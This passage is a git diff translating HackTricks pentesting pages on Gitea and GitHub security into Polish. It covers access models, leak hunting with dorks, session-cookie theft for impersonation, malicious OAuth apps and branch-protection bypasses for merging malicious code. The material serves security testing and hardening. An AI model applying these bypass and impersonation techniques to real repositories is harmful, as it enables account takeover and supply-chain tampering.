-When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
+Gdy **organizacja jest tworzona**, tworzony jest zespół o nazwie **Właściciele** i użytkownik jest do niego dodawany. Ten zespół zapewni **dostęp administracyjny** do **organizacji**, te **uprawnienia** i **nazwa** zespołu **nie mogą być modyfikowane**.
-**Org admins** (owners) can select the **visibility** of the organization:
+**Administratorzy organizacji** (właściciele) mogą wybrać **widoczność** organizacji:
-- Public
-- Limited (logged in users only)
-- Private (members only)
+- Publiczna
+- Ograniczona (tylko zalogowani użytkownicy)
+- Prywatna (tylko członkowie)
-**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
+**Administratorzy organizacji** mogą również wskazać, czy **administratorzy repozytoriów** mogą **dodawać lub usuwać dostęp** dla zespołów. Mogą również wskazać maksymalną liczbę repozytoriów.
-When creating a new team, several important settings are selected:
+Podczas tworzenia nowego zespołu wybierane są kilka ważnych ustawień:
-- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
-- It's also indicated **if members can create new repos** (creator will get admin access to it)
-- The **permissions** the **members** of the repo will **have**:
- - **Administrator** access
- - **Specific** access:
+- Wskazuje się **repozytoria organizacji, do których członkowie zespołu będą mieli dostęp**: konkretne repozytoria (repozytoria, do których zespół jest dodany) lub wszystkie.
+- Wskazuje się również **czy członkowie mogą tworzyć nowe repozytoria** (twórca uzyska do nich dostęp administracyjny)
+- **Uprawnienia**, które **członkowie** repozytoriów będą **mieć**:
+- **Dostęp administratora**
+- **Specyficzny** dostęp:
.png>)
-### Teams & Users
+### Zespoły i użytkownicy
-In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
+W repozytorium, **administrator organizacji** i **administratorzy repozytoriów** (jeśli dozwolone przez organizację) mogą **zarządzać rolami** nadawanymi współpracownikom (innym użytkownikom) i zespołom. Istnieją **3** możliwe **role**:
- Administrator
-- Write
-- Read
+- Zapis
+- Odczyt
-## Gitea Authentication
+## Uwierzytelnianie Gitea
-### Web Access
+### Dostęp przez sieć
-Using **username + password** and potentially (and recommended) a 2FA.
+Używając **nazwa użytkownika + hasło** i potencjalnie (i zalecane) 2FA.
-### **SSH Keys**
+### **Klucze SSH**
-You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
+Możesz skonfigurować swoje konto z jednym lub kilkoma kluczami publicznymi, pozwalając powiązanemu **kluczowi prywatnemu na wykonywanie działań w twoim imieniu.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
-#### **GPG Keys**
+#### **Klucze GPG**
-You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
+**Nie możesz podszywać się pod użytkownika za pomocą tych kluczy**, ale jeśli ich nie używasz, może być możliwe, że **zostaniesz odkryty za wysyłanie commitów bez podpisu**.
-### **Personal Access Tokens**
+### **Tokeny dostępu osobistego**
-You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
+Możesz wygenerować token dostępu osobistego, aby **dać aplikacji dostęp do swojego konta**. Token dostępu osobistego daje pełny dostęp do twojego konta: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
-### Oauth Applications
+### Aplikacje Oauth
-Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
+Podobnie jak tokeny dostępu osobistego, **aplikacje Oauth** będą miały **pełny dostęp** do twojego konta i miejsc, do których twoje konto ma dostęp, ponieważ, jak wskazano w [dokumentacji](https://docs.gitea.io/en-us/oauth2-provider/#scopes), zakresy nie są jeszcze obsługiwane:
.png>)
-### Deploy keys
+### Klucze wdrożeniowe
-Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
+Klucze wdrożeniowe mogą mieć dostęp tylko do odczytu lub zapisu do repozytorium, więc mogą być interesujące do kompromitacji konkretnych repozytoriów.
-## Branch Protections
+## Ochrona gałęzi
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+Ochrona gałęzi ma na celu **nieprzekazywanie pełnej kontroli nad repozytorium** użytkownikom. Celem jest **wprowadzenie kilku metod ochrony przed możliwością pisania kodu w niektórej gałęzi**.
-The **branch protections of a repository** can be found in _https://localhost:3000/\/\/settings/branches_
+**Ochrona gałęzi repozytorium** może być znaleziona w _https://localhost:3000/\/\/settings/branches_
> [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> **Nie jest możliwe ustawienie ochrony gałęzi na poziomie organizacji**. Wszystkie muszą być zadeklarowane w każdym repozytorium.
-Different protections can be applied to a branch (like to master):
+Różne ochrony mogą być stosowane do gałęzi (jak do master):
-- **Disable Push**: No-one can push to this branch
-- **Enable Push**: Anyone with access can push, but not force push.
-- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
-- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
-- **Enable Status checks:** Require status checks to pass before merging.
-- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
-- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
-- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
-- **Block merge on official review requests**: If there official review requests it cannot be merged
-- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
-- **Require Signed Commits**: Commits must be signed.
-- **Block merge if pull request is outdated**
-- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
+- **Wyłącz Push**: Nikt nie może wypychać do tej gałęzi
+- **Włącz Push**: Każdy z dostępem może wypychać, ale nie może wymusić wypychania.
+- **Biała lista ograniczonego Push**: Tylko wybrani użytkownicy/zespoły mogą wypychać do tej gałęzi (ale nie wymuszone wypychanie)
+- **Włącz białą listę scalania**: Tylko użytkownicy/zespoły z białej listy mogą scalać PR-y.
+- **Włącz kontrole statusu:** Wymagaj, aby kontrole statusu przeszły przed scaleniem.
+- **Wymagaj zatwierdzeń**: Wskaź liczbę zatwierdzeń wymaganą przed scaleniem PR.
+- **Ogranicz zatwierdzenia do białej listy**: Wskaź użytkowników/zespoły, które mogą zatwierdzać PR-y.
+- **Zablokuj scalanie na odrzuconych recenzjach**: Jeśli wymagane są zmiany, nie może być scalone (nawet jeśli inne kontrole przejdą)
+- **Zablokuj scalanie na oficjalnych prośbach o recenzję**: Jeśli są oficjalne prośby o recenzję, nie może być scalone
+- **Odrzuć przestarzałe zatwierdzenia**: Po nowych commitach, stare zatwierdzenia zostaną odrzucone.
+- **Wymagaj podpisanych commitów**: Commity muszą być podpisane.
+- **Zablokuj scalanie, jeśli pull request jest przestarzały**
+- **Wzory plików chronionych/niechronionych**: Wskaź wzory plików do ochrony/od ochrony przed zmianami
> [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> Jak widać, nawet jeśli udało ci się uzyskać jakieś dane uwierzytelniające użytkownika, **repozytoria mogą być chronione, co uniemożliwia ci wypychanie kodu do mastera**, na przykład w celu kompromitacji pipeline CI/CD.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md
index cdad12b57..319805fb7 100644
--- a/src/pentesting-ci-cd/github-security/README.md
+++ b/src/pentesting-ci-cd/github-security/README.md
@@ -2,41 +2,41 @@
{{#include ../../banners/hacktricks-training.md}}
-## What is Github
+## Czym jest Github
-(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
+(From [here](https://kinsta.com/knowledgebase/what-is-github/)) Na wysokim poziomie, **GitHub to strona internetowa i usługa w chmurze, która pomaga programistom przechowywać i zarządzać swoim kodem, a także śledzić i kontrolować zmiany w swoim kodzie**.
-### Basic Information
+### Podstawowe informacje
{{#ref}}
basic-github-information.md
{{#endref}}
-## External Recon
+## Zewnętrzne rozpoznanie
-Github repositories can be configured as public, private and internal.
+Repozytoria Github mogą być skonfigurowane jako publiczne, prywatne i wewnętrzne.
-- **Private** means that **only** people of the **organisation** will be able to access them
-- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
-- **Public** means that **all internet** is going to be able to access it.
+- **Prywatne** oznacza, że **tylko** osoby z **organizacji** będą mogły uzyskać do nich dostęp
+- **Wewnętrzne** oznacza, że **tylko** osoby z **przedsiębiorstwa** (przedsiębiorstwo może mieć kilka organizacji) będą mogły uzyskać do nich dostęp
+- **Publiczne** oznacza, że **wszyscy w internecie** będą mogli uzyskać do nich dostęp.
-In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
+W przypadku, gdy znasz **użytkownika, repozytorium lub organizację, którą chcesz zaatakować**, możesz użyć **github dorks**, aby znaleźć wrażliwe informacje lub wyszukać **wycieki wrażliwych informacji** **w każdym repozytorium**.
### Github Dorks
-Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
+Github pozwala na **wyszukiwanie czegoś, określając jako zakres użytkownika, repozytorium lub organizację**. Dlatego z listą ciągów, które będą się pojawiać blisko wrażliwych informacji, możesz łatwo **wyszukiwać potencjalne wrażliwe informacje w swoim celu**.
-Tools (each tool contains its list of dorks):
+Narzędzia (każde narzędzie zawiera swoją listę dorks):
-- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
-- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
-- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
+- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Lista Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks))
+- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Lista Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
+- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Lista Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists))
### Github Leaks
-Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
+Proszę zauważyć, że github dorks są również przeznaczone do wyszukiwania wycieków przy użyciu opcji wyszukiwania github. Ta sekcja jest poświęcona tym narzędziom, które **pobierają każde repozytorium i wyszukują w nich wrażliwe informacje** (nawet sprawdzając pewną głębokość commitów).
-Tools (each tool contains its list of regexes):
+Narzędzia (każde narzędzie zawiera swoją listę regexów):
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
@@ -47,202 +47,190 @@ Tools (each tool contains its list of regexes):
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
> [!WARNING]
-> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
+> Kiedy szukasz wycieków w repozytorium i uruchamiasz coś takiego jak `git log -p`, nie zapomnij, że mogą być **inne gałęzie z innymi commitami** zawierającymi sekrety!
-### External Forks
+### Zewnętrzne forki
-It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork).
+Możliwe jest **kompromitowanie repozytoriów poprzez nadużywanie pull requestów**. Aby wiedzieć, czy repozytorium jest podatne, musisz głównie przeczytać konfiguracje yaml Github Actions. [**Więcej informacji na ten temat poniżej**](./#execution-from-a-external-fork).
-### Github Leaks in deleted/internal forks
+### Github Leaks w usuniętych/wewnętrznych forkach
-Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
+Nawet jeśli są usunięte lub wewnętrzne, może być możliwe uzyskanie wrażliwych danych z forków repozytoriów github. Sprawdź to tutaj:
{{#ref}}
accessible-deleted-data-in-github.md
{{#endref}}
-## Organization Hardening
+## Wzmocnienie organizacji
-### Member Privileges
+### Uprawnienia członków
-There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations//settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
+Istnieją pewne **domyślne uprawnienia**, które mogą być przypisane do **członków** organizacji. Można je kontrolować z strony `https://github.com/organizations//settings/member_privileges` lub z [**API organizacji**](https://docs.github.com/en/rest/orgs/orgs).
-- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
-- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
-- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
-- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
- - _I couldn't find this info in the APIs response, share if you do_
-- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
- - _I couldn't find this info in the APIs response, share if you do_
-- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
- - _I couldn't find this info in the APIs response, share if you do_
-- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
- - _I couldn't find this info in the APIs response, share if you do_
-- **More things can be configured** in this page but the previous are the ones more security related.
+- **Podstawowe uprawnienia**: Członkowie będą mieli uprawnienia None/Read/write/Admin do repozytoriów organizacji. Zalecane jest **None** lub **Read**.
+- **Forkowanie repozytoriów**: Jeśli nie jest to konieczne, lepiej **nie pozwalać** członkom na forkowanie repozytoriów organizacji.
+- **Tworzenie stron**: Jeśli nie jest to konieczne, lepiej **nie pozwalać** członkom na publikowanie stron z repozytoriów organizacji. Jeśli to konieczne, możesz pozwolić na tworzenie publicznych lub prywatnych stron.
+- **Prośby o dostęp do integracji**: Z tym włączonym zewnętrzni współpracownicy będą mogli prosić o dostęp do aplikacji GitHub lub OAuth, aby uzyskać dostęp do tej organizacji i jej zasobów. Zwykle jest to potrzebne, ale jeśli nie, lepiej to wyłączyć.
+- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_
+- **Zmiana widoczności repozytoriów**: Jeśli włączone, **członkowie** z **uprawnieniami admina** do **repozytorium** będą mogli **zmienić jego widoczność**. Jeśli wyłączone, tylko właściciele organizacji mogą zmieniać widoczności repozytoriów. Jeśli **nie** chcesz, aby ludzie robili rzeczy **publicznymi**, upewnij się, że to jest **wyłączone**.
+- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_
+- **Usuwanie i przenoszenie repozytoriów**: Jeśli włączone, członkowie z **uprawnieniami admina** do repozytorium będą mogli **usuwać** lub **przenosić** publiczne i prywatne **repozytoria**.
+- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_
+- **Zezwolenie członkom na tworzenie zespołów**: Jeśli włączone, każdy **członek** organizacji będzie mógł **tworzyć** nowe **zespoły**. Jeśli wyłączone, tylko właściciele organizacji mogą tworzyć nowe zespoły. Lepiej, aby to było wyłączone.
+- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_
+- **Więcej rzeczy można skonfigurować** na tej stronie, ale poprzednie są najbardziej związane z bezpieczeństwem.
-### Actions Settings
+### Ustawienia akcji
-Several security related settings can be configured for actions from the page `https://github.com/organizations//settings/actions`.
+Kilka ustawień związanych z bezpieczeństwem można skonfigurować dla akcji z strony `https://github.com/organizations//settings/actions`.
> [!NOTE]
-> Note that all this configurations can also be set on each repository independently
+> Zauważ, że wszystkie te konfiguracje można również ustawić w każdym repozytorium niezależnie
-- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
- - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
-- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
- - _I couldn't find an API with this info, share if you do_
-- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
- - _I couldn't find an API with this info, share if you do_
-- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
- - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
+- **Polityki akcji Github**: Pozwala to wskazać, które repozytoria mogą uruchamiać workflowy i które workflowy powinny być dozwolone. Zaleca się **określenie, które repozytoria** powinny być dozwolone i nie pozwalać na uruchamianie wszystkich akcji.
+- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
+- **Workflowy pull requestów z zewnętrznych współpracowników**: Zaleca się **wymaganie zatwierdzenia dla wszystkich** zewnętrznych współpracowników.
+- _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli masz_
+- **Uruchamianie workflowów z pull requestów**: Jest to **silnie odradzane, aby uruchamiać workflowy z pull requestów**, ponieważ utrzymujący fork będą mieli możliwość używania tokenów z uprawnieniami do odczytu w repozytorium źródłowym.
+- _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli masz_
+- **Uprawnienia workflowów**: Silnie zaleca się **przyznawanie tylko uprawnień do odczytu repozytoriów**. Odradza się przyznawanie uprawnień do zapisu i tworzenia/zatwierdzania pull requestów, aby uniknąć nadużywania GITHUB_TOKEN przyznawanego do uruchamiania workflowów.
+- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
-### Integrations
+### Integracje
-_Let me know if you know the API endpoint to access this info!_
+_Daj mi znać, jeśli znasz punkt końcowy API, aby uzyskać te informacje!_
-- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
-- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
+- **Polityka dostępu aplikacji zewnętrznych**: Zaleca się ograniczenie dostępu do każdej aplikacji i zezwolenie tylko na te potrzebne (po ich przeglądzie).
+- **Zainstalowane aplikacje GitHub**: Zaleca się zezwolenie tylko na te potrzebne (po ich przeglądzie).
-## Recon & Attacks abusing credentials
+## Rozpoznanie i ataki nadużywające poświadczeń
-For this scenario we are going to suppose that you have obtained some access to a github account.
+W tym scenariuszu zakładamy, że uzyskałeś dostęp do konta github.
-### With User Credentials
+### Z poświadczeniami użytkownika
-If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
+Jeśli w jakiś sposób masz już poświadczenia dla użytkownika w organizacji, możesz **po prostu się zalogować** i sprawdzić, jakie **role przedsiębiorstwa i organizacji masz**, jeśli jesteś zwykłym członkiem, sprawdź, jakie **uprawnienia mają zwykli członkowie**, w jakich **grupach** jesteś, jakie **uprawnienia masz** do jakich **repozytoriów** i **jak są chronione repozytoria**.
-Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
+Zauważ, że **2FA może być używane**, więc będziesz mógł uzyskać dostęp do tych informacji tylko wtedy, gdy również **przejdziesz tę kontrolę**.
> [!NOTE]
-> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
+> Zauważ, że jeśli **uda ci się ukraść ciasteczko `user_session`** (aktualnie skonfigurowane z SameSite: Lax), możesz **całkowicie podszyć się pod użytkownika** bez potrzeby posiadania poświadczeń lub 2FA.
-Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful.
+Sprawdź sekcję poniżej o [**obejściach ochrony gałęzi**](./#branch-protection-bypass), jeśli to może być przydatne.
-### With User SSH Key
+### Z kluczem SSH użytkownika
-Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
-
-With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
+Github pozwala **użytkownikom** ustawiać **klucze SSH**, które będą używane jako **metoda uwierzytelniania do wdrażania kodu** w ich imieniu (nie stosuje się 2FA).
+Z tym kluczem możesz dokonywać **zmian w repozytoriach, w których użytkownik ma pewne uprawnienia**, jednak nie możesz go użyć do uzyskania dostępu do API github, aby enumerować środowisko. Możesz jednak **enumerować lokalne ustawienia**, aby uzyskać informacje o repozytoriach i użytkowniku, do którego masz dostęp:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
+Jeśli użytkownik skonfigurował swoją nazwę użytkownika jako swoją nazwę użytkownika github, możesz uzyskać dostęp do **publicznych kluczy, które ustawił** w swoim koncie pod adresem _https://github.com/\.keys_, możesz to sprawdzić, aby potwierdzić, że znaleziony klucz prywatny może być użyty.
-If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used.
+**Klucze SSH** mogą być również ustawione w repozytoriach jako **klucze wdrożeniowe**. Każdy, kto ma dostęp do tego klucza, będzie mógł **uruchomić projekty z repozytorium**. Zwykle na serwerze z różnymi kluczami wdrożeniowymi lokalny plik **`~/.ssh/config`** dostarczy informacji o tym, do którego klucza się odnosi.
-**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
+#### Klucze GPG
-#### GPG Keys
-
-As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
-
-Check locally if the current user has any key with:
+Jak wyjaśniono [**tutaj**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), czasami konieczne jest podpisanie commitów, inaczej możesz zostać odkryty.
+Sprawdź lokalnie, czy bieżący użytkownik ma jakikolwiek klucz za pomocą:
```shell
gpg --list-secret-keys --keyid-format=long
```
+### Z tokenem użytkownika
-### With User Token
+Aby uzyskać wprowadzenie do [**Tokenów Użytkownika sprawdź podstawowe informacje**](basic-github-information.md#personal-access-tokens).
-For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
+Token użytkownika może być używany **zamiast hasła** do Git przez HTTPS lub może być używany do [**uwierzytelniania w API za pomocą Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). W zależności od przypisanych do niego uprawnień, możesz być w stanie wykonać różne akcje.
-A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
+Token użytkownika wygląda tak: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
-A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
+### Z aplikacją Oauth
-### With Oauth Application
+Aby uzyskać wprowadzenie do [**Aplikacji Oauth Github sprawdź podstawowe informacje**](basic-github-information.md#oauth-applications).
-For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
+Atakujący może stworzyć **złośliwą aplikację Oauth**, aby uzyskać dostęp do uprzywilejowanych danych/akcji użytkowników, którzy prawdopodobnie zaakceptują je jako część kampanii phishingowej.
-An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+To są [zakresy, o które może prosić aplikacja Oauth](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Zawsze należy sprawdzić żądane zakresy przed ich zaakceptowaniem.
-These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
+Ponadto, jak wyjaśniono w podstawowych informacjach, **organizacje mogą przyznawać/odmawiać dostępu aplikacjom stron trzecich** do informacji/repos/akcji związanych z organizacją.
-Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
+### Z aplikacją Github
-### With Github Application
+Aby uzyskać wprowadzenie do [**Aplikacji Github sprawdź podstawowe informacje**](basic-github-information.md#github-applications).
-For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
+Atakujący może stworzyć **złośliwą aplikację Github**, aby uzyskać dostęp do uprzywilejowanych danych/akcji użytkowników, którzy prawdopodobnie zaakceptują je jako część kampanii phishingowej.
-An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+Ponadto, jak wyjaśniono w podstawowych informacjach, **organizacje mogą przyznawać/odmawiać dostępu aplikacjom stron trzecich** do informacji/repos/akcji związanych z organizacją.
-Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
+## Kompromitacja i nadużycie Github Action
-## Compromise & Abuse Github Action
-
-There are several techniques to compromise and abuse a Github Action, check them here:
+Istnieje kilka technik, aby skompromitować i nadużywać Github Action, sprawdź je tutaj:
{{#ref}}
abusing-github-actions/
{{#endref}}
-## Branch Protection Bypass
+## Ominięcie ochrony gałęzi
-- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
- - _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
-- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
-- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
- - When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
-- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
-- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
-- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
-- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
-- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
- - If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
+- **Wymagaj liczby zatwierdzeń**: Jeśli skompromitowałeś kilka kont, możesz po prostu zaakceptować swoje PR z innych kont. Jeśli masz tylko konto, z którego utworzyłeś PR, nie możesz zaakceptować swojego własnego PR. Jednak jeśli masz dostęp do środowiska **Github Action** w repozytorium, używając **GITHUB_TOKEN**, możesz być w stanie **zatwierdzić swój PR** i w ten sposób uzyskać 1 zatwierdzenie.
+- _Uwaga dla tego i dla ograniczenia Właścicieli Kodów, że zazwyczaj użytkownik nie będzie mógł zatwierdzić swoich własnych PR, ale jeśli możesz, możesz to nadużyć, aby zaakceptować swoje PR._
+- **Odrzuć zatwierdzenia, gdy nowe commity są przesyłane**: Jeśli to nie jest ustawione, możesz przesłać legalny kod, poczekać, aż ktoś go zatwierdzi, a następnie dodać złośliwy kod i połączyć go z chronioną gałęzią.
+- **Wymagaj przeglądów od Właścicieli Kodów**: Jeśli to jest aktywowane i jesteś Właścicielem Kodu, możesz sprawić, że **Github Action utworzy twój PR, a następnie zatwierdzisz go samodzielnie**.
+- Gdy plik **CODEOWNER jest źle skonfigurowany**, Github nie zgłasza problemu, ale go nie używa. Dlatego, jeśli jest źle skonfigurowany, **ochrona Właścicieli Kodów nie jest stosowana.**
+- **Zezwól określonym aktorom na ominięcie wymagań dotyczących pull requestów**: Jeśli jesteś jednym z tych aktorów, możesz ominąć ochrony pull requestów.
+- **Uwzględnij administratorów**: Jeśli to nie jest ustawione i jesteś administratorem repozytorium, możesz ominąć te ochrony gałęzi.
+- **Przechwytywanie PR**: Możesz być w stanie **zmodyfikować PR kogoś innego**, dodając złośliwy kod, zatwierdzając wynikowy PR samodzielnie i łącząc wszystko.
+- **Usuwanie ochron gałęzi**: Jeśli jesteś **administratorem repozytorium, możesz wyłączyć ochrony**, połączyć swój PR i ponownie ustawić ochrony.
+- **Ominięcie ochron przesyłania**: Jeśli repozytorium **zezwala tylko określonym użytkownikom** na przesyłanie (łączenie kodu) w gałęziach (ochrona gałęzi może chronić wszystkie gałęzie, określając symbol wieloznaczny `*`).
